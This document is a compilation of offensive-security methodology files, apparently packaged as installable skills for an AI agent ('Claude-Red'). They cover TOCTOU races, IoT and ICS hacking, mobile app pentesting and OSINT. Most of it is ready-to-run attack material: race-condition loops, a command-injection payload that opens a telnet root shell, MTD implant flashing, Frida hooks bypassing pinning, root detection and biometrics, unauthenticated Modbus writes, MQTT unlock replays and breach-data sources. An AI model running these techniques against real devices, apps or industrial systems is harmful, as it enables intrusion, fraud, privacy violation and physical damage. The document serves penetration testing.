Mobile / Binary Cookbook
Android: Intent Redirect TOCTOU
Activity checks calling package via getCallingPackage() then dispatches via Intent — between check and dispatch, attacker swaps the underlying ContentProvider URI authority resolution.
iOS: NSXPC Audit Token Confusion
audit_token_t should be captured at the start of each XPC message handling. If the service captures it once and reuses, an attacker can race PID reuse to impersonate.
Detection & Tooling
| Tool | Layer | Use |
|---|---|---|
strace -e trace=file -f |
Linux syscall | Find duplicate path resolutions |
bpftrace / bcc |
Kernel | Probe specific syscalls' args at scale |
| ThreadSanitizer (TSan) | Userspace C/C++ | Compile-time race detection |
| Helgrind / DRD | Userspace | Pthread race detection |
| Bochspwn-Reloaded | Kernel | Double-fetch detection |
syzkaller |
Kernel | Coverage-guided race fuzzing |
| Burp Suite (Repeater single-packet) | Web/HTTP | Concurrent request races |
racepwn |
Web | Multi-thread + timing harness |
Turbo Intruder |
Web | Pipelined parallel requests |
# Quick filesystem TOCTOU finder against a binary
strace -f -e trace=file ./target 2>&1 | \
awk -F'"' '/access|stat|lstat|open|readlink/ {print $2}' | \
sort | uniq -c | sort -rn | head
# Paths appearing N>1 times → TOCTOU candidates
Race Loop Templates
Filesystem (C)
#include <sys/syscall.h>
#include <linux/fs.h>
int main() {
pid_t p = fork();
if (!p) { for(;;) syscall(SYS_renameat2, -100,"a",-100,"b",RENAME_EXCHANGE); }
for(;;) execve(victim, args, env);
}
Web (Python — single-packet HTTP/2)
# Use httpx or h2 directly; pyburp or turbo-intruder for production
import httpx, anyio
async def race():
async with httpx.AsyncClient(http2=True) as c:
async with anyio.create_task_group() as tg:
for _ in range(30):
tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100})
anyio.run(race)
For real reliability on TLS, prefer Burp's single-packet feature — it crafts an HTTP/2 last-byte synchronization.
Reporting / Severity
A TOCTOU finding's severity rests on: window size (deterministic vs probabilistic), required adjacency (local user / container / authenticated remote), and the post-use primitive (file write, auth bypass, money). A "1-in-10000 race that gives root" is the same finding as a "deterministic race that gives root" once it's chained with a window-widening primitive. Always demonstrate:
- The minimum reproducer
- The window-widener used
- The success rate observed
- The post-exploit primitive achieved
Key References
- MITRE CWE-367 (TOCTOU), CWE-362 (Race Condition)
- USENIX Security: "FUSE for Profit" — TOCTOU window-widening
- PortSwigger Research: "Smashing the state machine" (single-packet HTTP/2 attack)
- runc CVE-2019-5736, CVE-2024-21626 advisories
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/toctou.md
Skills/iot/offensive-iot/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-iot -g -y
SKILL.md
Frontmatter
{
"name": "offensive-iot",
"description": "IoT and embedded device security testing methodology. Covers hardware reconnaissance (UART, JTAG, SWD, SPI flash, I2C EEPROM, eMMC chip-off), firmware acquisition (vendor portals, OTA capture, flash dump, binwalk extraction), firmware analysis (filesystem mounting, binary triage, hardcoded secrets, default credential discovery), bootloader attacks (U-Boot console, secure-boot bypass, fault injection), runtime attacks on embedded Linux\/RTOS (busybox CVEs, MTD writes, \/dev\/mem), wireless protocol attacks (Zigbee, BLE, Z-Wave, LoRaWAN, Thread\/Matter, sub-GHz), MQTT\/CoAP\/Modbus\/BACnet\/OPC-UA exploitation, mobile companion app analysis, cloud-IoT API abuse, and side-channel\/glitching basics. Use for IoT pentest, smart-home assessment, ICS\/OT testing, or embedded vulnerability research."
}
IoT & Embedded — Offensive Testing Methodology
Quick Workflow
- Recon the device physically — identify SoC, flash, debug interfaces, radios
- Get the firmware — vendor download, OTA capture, hardware dump, or chip-off
- Unpack and analyze — filesystems, services, secrets, default creds, vuln components
- Establish runtime access — UART shell, telnet/SSH default creds, exploit chain
- Pivot — to companion app, cloud API, neighboring devices via mesh / wireless
Hardware Reconnaissance
PCB Inspection
- ID the SoC by markings (Realtek, Mediatek, Espressif, Broadcom, Allwinner, NXP, STM32, etc.)
- ID flash (8-pin SOIC = SPI NOR; BGA = eMMC; TSOP = NAND)
- Find debug headers: TX/RX/GND/VCC pads (UART), 4–10 pin (JTAG), 4 pin (SWD)
- Find test points labeled
TX,RX,TCK,TMS,TDO,TDI,RST,BOOT
Tools
| Tool | Use |
|---|---|
| Multimeter | Identify GND, VCC rails before connecting |
| Logic analyzer (Saleae, DSLogic) | Find UART baud, SPI clock, identify protocols |
| USB-UART (FT232, CP2102) | UART console |
| Bus Pirate / Glasgow | UART, SPI, I2C, JTAG generic |
| J-Link / Black Magic Probe | JTAG / SWD MCU debugging |
| CH341A programmer | Cheap SPI flash dumper |
| XGecu T48 | Modern universal programmer (NAND/eMMC/SPI) |
| ChipQuik / hot-air | Chip-off desolder |
UART Discovery
# Find baud rate
for b in 9600 19200 38400 57600 115200 230400 460800 921600; do
echo "=== $b ==="
timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log
done
grep -l -E "U-Boot|Linux|Bootloader|console|login" uart_*.log
Look for: U-Boot console (often Hit any key countdown), Linux init messages, root shell on console, login prompt.
Bootloader Console Drop
# At U-Boot countdown, mash space or key listed
Hit any key to stop autoboot: 0
=> printenv # full env, often includes boot args
=> setenv bootargs ${bootargs} init=/bin/sh
=> boot # Linux comes up to root shell, no login
If U-Boot is locked, try:
CONFIG_DELAY_AUTOBOOT_KEYEDkeyword (vendor-specific)Ctrl+C/Ctrl+B/ specific magic strings- Glitch the U-Boot version-check / signature-check (see Fault Injection)
Flash Dumping
SPI NOR (most common consumer IoT)
# In-circuit dump (hold SoC in reset to avoid bus contention)
flashrom -p ch341a_spi -r firmware.bin
# Verify
file firmware.bin && binwalk firmware.bin
If the SoC fights you: desolder the SPI chip, dump in socket, re-solder.
eMMC / NAND
eMMC is desolder-then-read: BGA-153/169 to SD adapter (cheap eBay), use a USB SD reader.
NAND requires bit-flipping and ECC handling — nanddump/yaffshiv/ubireader post-extraction.
OTA Capture
Many devices fetch firmware over HTTP(S). MITM the device:
# Captive AP + transparent proxy
sudo create_ap wlan0 eth0 IoTLab
mitmproxy --mode transparent --showhost --ssl-insecure
# Or for non-SNI / pinning, use bettercap with custom DNS
Capture the URL, download directly, dissect.
Firmware Analysis
Initial Triage
binwalk -Me firmware.bin # Extract recursively
binwalk -E firmware.bin # Entropy plot — flat = encrypted/compressed
strings firmware.bin | grep -iE "(passwd|key|token|admin|http|ssid)"
Filesystem Mounting
# SquashFS (most consumer Linux IoT)
unsquashfs -d rootfs squashfs.bin
# JFFS2 / UBIFS (NAND-backed)
jefferson jffs2.bin -d rootfs
ubireader_extract_files ubi.bin -o rootfs
Embedded-Linux Quick Wins
# Hardcoded credentials and keys
grep -RIE "(BEGIN (RSA |DSA |EC )?PRIVATE KEY|api[_-]?key|secret|token|passwd|root:[^*])" rootfs/
find rootfs -name "*.pem" -o -name "*.key" -o -name "shadow"
# Telnet/SSH default creds
cat rootfs/etc/passwd rootfs/etc/shadow
grep -r "telnetd" rootfs/etc/init.d
grep -r "dropbear\|sshd" rootfs/
# Setuid binaries
find rootfs -perm -4000 -type f
# Vulnerable busybox / dropbear / openssl versions
rootfs/bin/busybox 2>&1 | head -1
strings rootfs/sbin/dropbear | grep "Dropbear v"
strings rootfs/usr/lib/libssl* | grep "OpenSSL "
# Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine
find rootfs -name "lighttpd*" -o -name "boa" -o -name "goahead" -o -name "mini_httpd"
CGI / Web Admin Auditing
GoAhead, Boa, mini_httpd — abandoned codebases, command injection on every other CGI parameter.
# Disassemble a CGI
file rootfs/www/cgi-bin/setup.cgi
# Often plain ELF MIPS/ARM — analyze in Ghidra
ghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgi
Common patterns:
system()/popen()with concatenated query string argssprintfthensystem— easy command injection- Auth check via comparing cookie to plaintext file (race / replay)
Runtime Exploitation
Console / Telnet Default Creds
Try (per device class): admin/admin, root/root, root/<empty>, admin/password, support/support, cisco/cisco, vendor brand as user/pass. Always try root/<serial number> — many vendors use a per-device default.
Web Admin Command Injection
POST /goform/setSysAdm
Cookie: SESSIONID=...
admin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;
MTD Writes (re-flash from runtime)
If you have a root shell:
cat /proc/mtd # list partitions
mtd_debug erase /dev/mtd2 0 0x10000
mtd_debug write /dev/mtd2 0 0x10000 implant.bin
/dev/mem
On older kernels without CONFIG_STRICT_DEVMEM, /dev/mem is read/write to physical memory — full system compromise from any root context.
Bootloader / Secure Boot Attacks
U-Boot Quick Bypasses
setenv bootargs ${bootargs} init=/bin/shsetenv preboot 'echo 1 > /sys/...'(run command before kernel)tftpboot— load attacker kernel from networkbootmof a memory-resident image youloadb-uploaded over UART
Secure Boot
Modern devices verify signed bootloaders / kernels. Bypass paths:
- Downgrade: flash an older signed image with known kernel-level CVE
- Rollback bypass: anti-rollback fuses not blown → flash older signed
- Key extraction: dump the OTP / fuse contents via vendor tooling, recover signing key
- Fault injection: glitch the signature-check instruction (see below)
Fault Injection (Voltage / Clock Glitching)
Tools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar
Target: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read
Procedure:
1. Locate target instruction window via UART timing or power trace
2. Apply glitch (V drop / EM pulse) at that offset
3. Sweep delay and width; success = corrupted check, accepted unsigned image
RTOS Targets
| RTOS | Notes |
|---|---|
| FreeRTOS | Single binary, no MMU often → stack overflow → straight RIP control |
| Zephyr | MMU/MPU optional; verify isolation actually enabled |
| ThreadX | Microsoft now, mostly closed |
| MicroEJ / Mbed OS | Java/C mix — type confusion and JNI bridges |
| ESP-IDF (Espressif) | Wi-Fi/BLE stacks, OTA chain, secure boot v2 |
| QNX | Older versions: pdebug shell on serial = root |
MCU Reverse Engineering
# Read protected MCU via SWD / JTAG (if RDP not set)
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg \
-c "init; halt; flash read_bank 0 fw.bin 0 0x100000; exit"
# SAM-BA on Atmel SAM
sam-ba -p \\.\COM3 -d at91sam7s256 -a "read_flash(0,0x40000,fw.bin)"
# Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)
Wireless Protocols
Bluetooth Low Energy (BLE)
# Discover and enumerate
bettercap -eval "ble.recon on; events.show 60; ble.show"
# GATT introspection
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary
> char-desc
> char-read-uuid <uuid>
> char-write-req <handle> <hex>
Attack surface: characteristic write without auth, pairing downgrade ("Just Works" forced), session key reuse, app-side TLS-equivalent missing.
Zigbee / Thread / Matter
# Sniff with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E
zbstumbler -i 0
zbdump -c 11 -w zigbee.pcap
# KillerBee — replay, scapy-dot15d4 for fuzzing
zbreplay -f zigbee.pcap -i 0
Touchlink commissioning: known transport key in the wild (0x9F559A553B7A6B2C…) — many consumer devices accept Touchlink commissioning from any nearby radio.
Z-Wave
S0 security uses fixed network-key derivation; S2 fixes this. Older bulbs / locks still on S0 are attackable with Z-Force / EZ-Wave.
LoRaWAN
- ABP-provisioned devices: keys flashed once and never rotated
- Join-request replay if frame counters reset
LoRaPWN,ChirpStackfor analysis
Sub-GHz (433 / 868 / 915 MHz)
# HackRF / RTL-SDR
rtl_433 -f 433.92M -A # auto-decoder for many devices
gqrx # interactive
# Capture, analyze in Inspectrum, replay with hackrf_transfer
Targets: garage doors (KeeLoq rolling-code analysis), smart plugs (fixed code = easy replay), tire-pressure monitors (TPMS spoofing), industrial telemetry.
ICS / OT Protocols
Modbus
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('10.0.0.5', port=502)
c.read_holding_registers(0, count=20, slave=1)
c.write_register(40, 1, slave=1) # No auth in the protocol
BACnet (Building Automation)
# UDP/47808
bacnet-stack/who-is 10.0.0.0/24
# Read property without auth in many deployments
OPC-UA
Modern OPC-UA has security profiles; many deployments use None for compatibility. Test:
- Anonymous browsing of address space (information disclosure)
- Username/password endpoints with weak creds
- Cert-based but with self-signed accepted
S7 (Siemens)
Snap7 library; PLC start/stop, DB read/write commands historically unauthenticated. Stuxnet's surface.
MQTT / CoAP
MQTT Anonymous Subscribe
mosquitto_sub -h target.broker -t '#' -v
# # = wildcard, prints every retained message → secrets, sensor data, control topics
mosquitto_pub -h target.broker -t cmd/lock/+/unlock -m '1'
Many cloud brokers don't restrict topic ACL by default — connect with empty creds, subscribe #, replay device commands.
CoAP
coap-client -m get coap://device/.well-known/core
coap-client -m put coap://device/relay/0 -e '1'
DTLS often misconfigured (PSK in firmware, no rotation).
Companion Mobile App / Cloud API
Most IoT vulns today live in the cloud + companion app pair, not the device itself.
# Decompile Android companion
apktool d Vendor.apk -o app
jadx -d app_src Vendor.apk
# Look for: API base URL, signing keys, MQTT broker creds, device-claim flow
grep -rE "(api\.vendor|broker|amazonaws|azure|firebase|s3\.)" app_src/
# Patch SSL pinning (frida)
frida -U -l ssl-pin-bypass.js -f com.vendor.app
Test the cloud API for:
- Device claim by serial number alone (steal devices already shipped)
- IDOR on
/devices/<id>endpoints - Live-stream URLs without auth (RTSP / WebRTC tokens)
- Firmware signing endpoint accepting attacker-uploaded blobs (rare but devastating)
Pivoting Across Devices
- Compromise one device on the LAN → ARP/DHCP poison neighbors
- Mesh-protocol bridges (Zigbee coordinator, Z-Wave hub) → adjacent device control
- BLE central role swap → talk directly to peripherals as the legitimate hub
- Cloud account compromise → all devices linked to the account simultaneously
Reporting Hooks
For each finding capture:
- Affected scope: model, firmware version, region, serial-number range if known
- Reproducer: physical or remote, time-to-exploit
- Pre-conditions: physical access? same network? authenticated cloud account?
- Post-conditions: persistent? cross-device? cloud-side?
- Vendor disclosure path: PSIRT contact, ICS-CERT, MITRE for CVE assignment
Engagement Checklist
[ ] Photo PCB top + bottom; identify SoC, flash, radios
[ ] Try UART at common bauds; capture boot log
[ ] Pull SPI flash; binwalk -Me; identify rootfs
[ ] Static review: creds, keys, vuln versions, CGI
[ ] Boot the device; map services on ports
[ ] Try default creds, web/CGI command injection
[ ] Capture OTA traffic; analyze update flow
[ ] Pair with companion app; intercept all traffic with TLS-bypass
[ ] Map cloud API surface; test IDOR and device-claim
[ ] For each radio: passive sniff, active probe, replay
[ ] Document CVE-eligible findings; coordinate vendor disclosure
Key References
- MITRE ATT&CK for ICS — TA0108 (Initial Access), TA0104 (Execution)
- OWASP ISVS / IoT Top 10
- Embedded Security CTF (microcorruption.com) — practice MCU exploitation
- IoT Hackers Handbook (Aditya Gupta) — canonical methodology
- CISA ICS-CERT advisory feed
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/iot-embedded.md
Skills/mobile/offensive-mobile/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-mobile -g -y
SKILL.md
Frontmatter
{
"name": "offensive-mobile",
"description": "Mobile (Android + iOS) application penetration testing methodology. Covers static analysis (apktool\/jadx for Android, class-dump\/Hopper\/IDA for iOS), dynamic instrumentation with Frida and Objection, SSL pinning bypass strategies, root\/jailbreak detection bypass, deep-link \/ URL-scheme abuse, exported component attacks (Android activities, services, providers, receivers; iOS XPC, URL schemes, universal links), insecure data storage (SharedPrefs, KeyStore misuse, NSUserDefaults, Keychain ACL bypass), IPC \/ Intent redirection, WebView vulnerabilities (JavaScriptInterface, file:\/\/ access), Firebase\/AWS\/Azure misconfiguration leakage, mobile API testing, biometric\/Face ID\/Touch ID bypass, app-cloning and runtime patching, and mobile malware\/RAT analysis primitives. Use for mobile pentest, bug bounty mobile triage, or app-store reconnaissance."
}
Mobile (Android + iOS) — Offensive Testing Methodology
Quick Workflow
- Static: pull the IPA/APK, decompile, dump resources/strings, identify endpoints
- Dynamic: install on rooted/jailbroken device, hook with Frida, intercept TLS
- Map exported attack surface: deep links, URL schemes, exported components
- Storage / Keystore audit: where do secrets live, what protects them
- API: every backend the app talks to is your scope — test like a web app
Lab Setup
Android
- Rooted device or Genymotion / Android Studio AVD with
userdebugbuild - Magisk for systemless root; LSPosed for hooks; Frida server matching device arch
- Burp / Mitmproxy with system-trusted CA via Magisk module (
MagiskTrustUserCerts)
iOS
- Jailbroken device (palera1n / checkra1n / Dopamine depending on iOS version)
- Frida + Objection + Filza + SSH via USB (iproxy 2222 22)
- Burp CA installed via Settings → General → Device Management → Certificate Trust Settings
Static Analysis
Android
# Decode resources + smali
apktool d app.apk -o app
# Decompile to Java
jadx -d app_src app.apk
# Manifest review
xmllint --format app/AndroidManifest.xml | less
# Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig
# Secrets and endpoints
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log\.[dwief]" app_src/ # leftover debug logs
# Native libs
file app/lib/*/*.so
# RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions
iOS
# Pull IPA from device
frida-ios-dump -o app.ipa "com.vendor.app"
# Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)
unzip app.ipa
# Decrypt if needed (jailbroken device): bagbak / clutch
bagbak com.vendor.app
# Class dump
class-dump-dyld -H Payload/App.app/App -o headers/
# Or for Swift symbols, use Hopper / IDA
# Strings / endpoints
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'
# Info.plist analysis
plutil -p Payload/App.app/Info.plist
# Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),
# associated-domains entitlements, UIFileSharingEnabled, ATS exemptions
Dynamic Analysis & Frida
Common Hooks
// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
// ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});
// Bypass root detection
Java.perform(() => {
const File = Java.use('java.io.File');
File.exists.implementation = function () {
const path = this.getAbsolutePath();
if (path.includes('su') || path.includes('Magisk')) return false;
return this.exists();
};
});
// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
onEnter(args) {
const path = args[0].readUtf8String();
if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
args[0] = Memory.allocUtf8String('/nonexistent');
}
}
});
Objection (Frida-based shortcuts)
objection -g com.vendor.app explore
# Then inside:
android sslpinning disable
android root disable
android hooking list activities
android intent launch_activity com.vendor.app/.SecretActivity
ios sslpinning disable
ios jailbreak disable
ios keychain dump
SSL / TLS Interception
Android Network Security Config
App with <network-security-config> requiring its own pinned CA: edit res/xml/network_security_config.xml, repack:
apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apk
Or live-bypass with Frida (preferred — no recompile).
iOS ATS / Pinning
For pinning, use Frida hooks against SecTrustEvaluate* / NSURLSession delegate methods. ATS exceptions in Info.plist (NSAllowsArbitraryLoads) make MITM trivial without pinning.
Exported / IPC Attack Surface
Android — Exported Components
drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
--extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secrets
Targets:
exported="true"activities → call from another app, bypass auth- ContentProviders without
grantUriPermissions→ arbitrary read - Receivers handling
BOOT_COMPLETEDetc. with privileged actions - Services bound by intent extras → command injection
Intent Redirection / PendingIntent Hijack
// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identity
iOS — URL Schemes / Universal Links
# Open custom scheme (test from another app)
plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes
# Then on device:
xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"
Universal Links: check apple-app-site-association on the linked domain — open redirect on that domain → universal-link claim → in-app webview navigation.
iOS XPC / Mach Services
launchctl list | grep com.vendor enumerates the app's launch services. XPC handlers without proper audit-token validation accept messages from any process.
Insecure Data Storage
Android
# On device (root), pull app data
adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgz
Inspect:
shared_prefs/*.xml— preferences in plaintextdatabases/*.db— SQLite (usesqlite3to dump)files/— arbitrary writescache/and external storage (sdcard/Android/data/...) — often readable across apps
Android Keystore Misuse
- Keys created without
setUserAuthenticationRequired(true)→ use any time process is running - AES-GCM with reused IV (devs often hardcode IV)
- RSA without proper padding (PKCS1 v1.5 vs OAEP)
iOS Keychain
# Objection
ios keychain dump
# Look for kSecAttrAccessible values:
# AlwaysThisDeviceOnly → readable when phone locked (bad for secrets)
# WhenUnlocked → standard
# AlwaysThisDeviceOnly → bypasses screen lock
iOS Data Protection classes: NSFileProtectionNone files are readable on a jailbroken device even when locked.
WebView Vulnerabilities
Android addJavascriptInterface
If the app exposes a JS bridge with reflection-capable objects, JS in any loaded page = arbitrary Java method invocation.
// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
.getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')
file:// and Content://
WebView with setAllowFileAccessFromFileURLs(true) + a HTML attachment that the user opens → reads any file the app can.
iOS WKWebView
WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomaticallywkScriptMessageHandlerexposed — same JS bridge concern as Android- File URL load with
loadFileURLand broadallowingReadAccessTodirectory
Biometric / Auth Bypass
Android BiometricPrompt
Apps using BiometricPrompt without binding the cryptographic operation to authentication can be bypassed by hooking the result callback.
Java.perform(() => {
const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
Cb.onAuthenticationSucceeded.implementation = function (r) {
return this.onAuthenticationSucceeded(r); // accept whatever
};
Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };
});
iOS LAContext
evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics) — if the app trusts the boolean result without using a Keychain item bound to biometrics, you can flip it.
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
onEnter(args) {
const cb = new ObjC.Block(args[4]);
const orig = cb.implementation;
cb.implementation = function(success, err) { orig.call(this, true, NULL); };
}
});
The fix on the dev side is to use a biometric-bound key in the Keychain — the bypass above doesn't yield key access.
Firebase / Cloud Misconfig (highest hit-rate)
Firebase Realtime DB (still common)
Pull URL from app:
strings app.apk | grep -E "https://[a-z0-9-]+\.firebaseio\.com"
# Test for unauth read
curl https://target-app.firebaseio.com/.json
# If returns data → unauth read
Firestore
Rules misconfigured to allow read, write: if true; — visible in app's REST calls. Test with anon SDK or direct REST.
S3 / GCS / Azure Blob
Unsigned URLs in API responses, or bucket names guessable from app package — test public-read, public-write, ACL.
Embedded API Keys
Google Maps key restricted properly? Stripe publishable vs secret? Twilio? AWS access keys in plaintext (still happens) → cloud takeover.
truffleHog filesystem app_src/
gitleaks detect --source app_src/
Mobile API Testing
The backend is the same as a web app — pivot to web/API methodology once you've extracted the endpoints. Things specific to mobile:
- Device-bound headers (
X-Device-ID,X-App-Version,X-Signature) often calculable client-side. Pull the algorithm from the binary. - Request signing: HMAC with key embedded in app → game over, sign anything.
- Mobile-only endpoints that skip rate limiting because they're "behind app authentication"
- Older API versions still alive:
/api/v1/...retired in newer app, server still serving with weaker auth. - Push notification topics: subscribing to
/topics/<predictable>may receive messages meant for others (Firebase Messaging).
App Tampering & Repackaging
# Patch a check (e.g. premium=true)
# Smali edit
sed -i 's/return-void/const\/4 v0, 0x1\n return v0/' app/smali/com/vendor/Premium.smali
apktool b app -o patched.apk
apksigner sign --ks debug.keystore patched.apk
adb install -r patched.apk
For commercial bypasses, use LSPosed module so original APK isn't modified — bypasses signature checks that lock down repackaged variants.
iOS Specifics
Entitlements
codesign -d --entitlements - Payload/App.app/App
Look for: keychain-access-groups (cross-app keychain), com.apple.security.application-groups (shared containers), com.apple.developer.associated-domains (universal links), private entitlements (rare).
URL Schemes from Other Apps
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"vendorapp://..."]];
Any app can invoke any registered URL scheme. Validate sender? Most don't.
App Groups Shared Container
/private/var/mobile/Containers/Shared/AppGroup/<UUID>/
Multiple apps from same vendor share — secrets here cross app boundary.
Detection / Defender View
| Detector | Bypass |
|---|---|
| Frida server detection (port 27042 open) | Run frida-server on alt port, use frida -H |
Magisk detection via /sbin/magisk |
Magisk Hide / DenyList |
| Emulator detection | Run on real device, or stub Build.FINGERPRINT etc. |
| iOS jailbreak detection (file existence) | Frida hook stat / fopen / dlopen |
Anti-debug ptrace(PT_DENY_ATTACH) |
Frida-stalker-based, or kernel patch |
| Certificate pinning | Frida universal pinning bypass |
| App attestation (Play Integrity / DeviceCheck) | Hard — usually requires server-side bypass or app attestation token relay |
Engagement Checklist
[ ] Pull IPA/APK from device
[ ] Decompile / class-dump
[ ] Grep for endpoints, keys, tokens
[ ] Manifest / Info.plist review
[ ] Static-find exported components, deep links, URL schemes
[ ] Install on rooted/jailbroken; configure Frida
[ ] Bypass pinning, MITM all traffic
[ ] Test every API the app calls (web methodology)
[ ] Test exported components from another app / drozer / runtime
[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)
[ ] Test biometric flows for unbound auth
[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR
[ ] Cloud config: Firebase rules, S3 buckets, signed URLs
[ ] Push topics / subscription model
[ ] Device-binding / signing scheme analysis
Key References
- OWASP MASTG (Mobile Application Security Testing Guide)
- OWASP MASVS — verification standard
- Frida CodeShare — codeshare.frida.re for ready-to-use hooks
- mobile-security-framework / MobSF for automated triage
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/mobile.md
Skills/recon/offensive-osint/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-osint -g -y
SKILL.md
Frontmatter
{
"name": "offensive-osint",
"description": "Comprehensive OSINT methodology skill for offensive security, red team intelligence gathering, and bug bounty reconnaissance. Covers domain recon, email harvesting, social media profiling, GitHub\/code leaks, Shodan\/Censys enumeration, breach data lookup, employee profiling, infrastructure mapping, cryptocurrency tracing, geospatial intelligence, and AI-assisted analysis workflows. Use when performing reconnaissance against a target domain or organization, investigating a person or entity, tracing cryptocurrency flows, geolocating images or events, or building an attack-surface map."
}
Offensive OSINT Methodology
Workflow
- Define target scope (domain, org, person, crypto address, or geo subject)
- Select applicable categories below based on scope
- Work top-down within each category; pivot on discovered artifacts
- Archive every key artifact: URL + timestamp + screenshot (PNG) + hash (SHA-256)
- Log findings in JSONL with a
run_idand tool versions for reproducibility - Suggest next steps based on what each tool returns
General OSINT
- Bookmarks — Comprehensive OSINT bookmarks
- OSINT Framework — Tool/resource directory
- IntelTechniques Tools — Suite of investigative tools
- Bellingcat Toolkit — Investigative journalism tools
- CyberSudo OSINT Toolkit — OSINT websites list
- Google Dorks — Efficient Google searching
- Distributed Denial of Secrets — Leaked data
- Country-Specific Resources — Country-targeted OSINT
Search Engines
| Tool | Notes |
|---|---|
| Carrot2 | Clusters results by topic |
| etools | Metasearch engine |
| Kagi | Privacy-first, non-personalized results |
| Brave Search | Independent index; Goggles for custom ranking |
| PDF Search | Search PDF files and view table of contents |
| Google Fact Check Explorer | Cross-site fact-check search |
Username & Email Investigation
| Tool | Purpose |
|---|---|
| Sherlock | Username search across social networks |
| Maigret | Collect profiles by username from many sites |
| What's My Name | Username search across platforms |
| Holehe | Check if email is registered on platforms |
| Epieos | Email address pivots and metadata |
| OSINT Industries | Email/username/phone lookups |
| Hunter.io | Find email addresses for a domain |
| EmailRep | Email reputation and associated data |
| Emailable | Verify email existence |
| Mugetsu | X/Twitter username history |
| RocketReach / Apollo | Email enrichment and pattern guessing |
| PhoneInfoga | Phone number intelligence framework |
Browser extensions: GetProspect, SignalHire
People Search
- TruePeopleSearch — Free U.S. people search
- WhitePages — Contact information
- Spokeo — People search engine
- Webmii — People search
- Pipl — Deep web people search (paid)
- Clearbit — Company/individual data enrichment
- FaceCheck / FaceSeek — Reverse face search
Phone Number OSINT
- TrueCaller — Caller ID and spam blocking
- ThatsThem — Reverse phone search
- Infobel — Phone search outside USA
- FreeCarrierLookup — Carrier/type lookup (US)
- NumlookupAPI [Freemium] — Programmatic carrier/line-type checks
- CallerIDTest — Phone search
- Advanced Background Checks — All people linked to a number
Social Media
| Platform | Tool |
|---|---|
| Picuki — view profiles without account | |
| X/Twitter | snscrape — preferred CLI scraper; use Twint only as fallback |
| Graph Search, sowsearch.info, lookup-id.com, whopostedwhat.com | |
| Facebook (research) | Meta Content Library — CrowdTangle successor (researcher-gated) |
| YouTube/Twitch | Social Blade — analytics |
| TikTok | Tokboard — trend and profile analytics |
| Reveddit — removed content; RedTrack.social — user history | |
| Bluesky | Firesky — real-time firehose; SkyView — follower graphs |
| Mastodon | FediSearch — cross-instance search; Fedifinder — find Twitter users on Mastodon |
| Faces | Search4Faces |
Public Records & Company Information
- OpenCorporates — World's largest open company database
- SEC EDGAR — U.S. company filings
- OpenOwnership Register — Beneficial ownership datasets
- MuckRock — FOIA repository and request tracking
- EU Tenders (TED) — EU procurement notices
- World Bank Projects — Project and procurement records
RU/CN Registries
Russia: Rusprofile, Kontur.Focus (freemium), zakupki.gov.ru (procurement), EGRUL/EGRIP (official, captcha-gated)
China: GSXT (National Enterprise Credit), Qichacha/Tianyancha (freemium), MIIT ICP/Beian (ICP filings)
Sanctions & Compliance
- OFAC SDN List
- EU Sanctions Map
- OpenSanctions — Aggregated persons/entities datasets
- OCCRP Aleph — Investigative documents, leaks, company records
Breach & Leak Data
- Have I Been Pwned — Breach lookup; Pwned Passwords API (k-anonymity)
- Dehashed — Credential search
- IntelX — Data intelligence
- LeakCheck — Breach lookups
- Snusbase — Database breach lookups
- BreachDirectory — Recent breach credentials
- Scattered Secrets
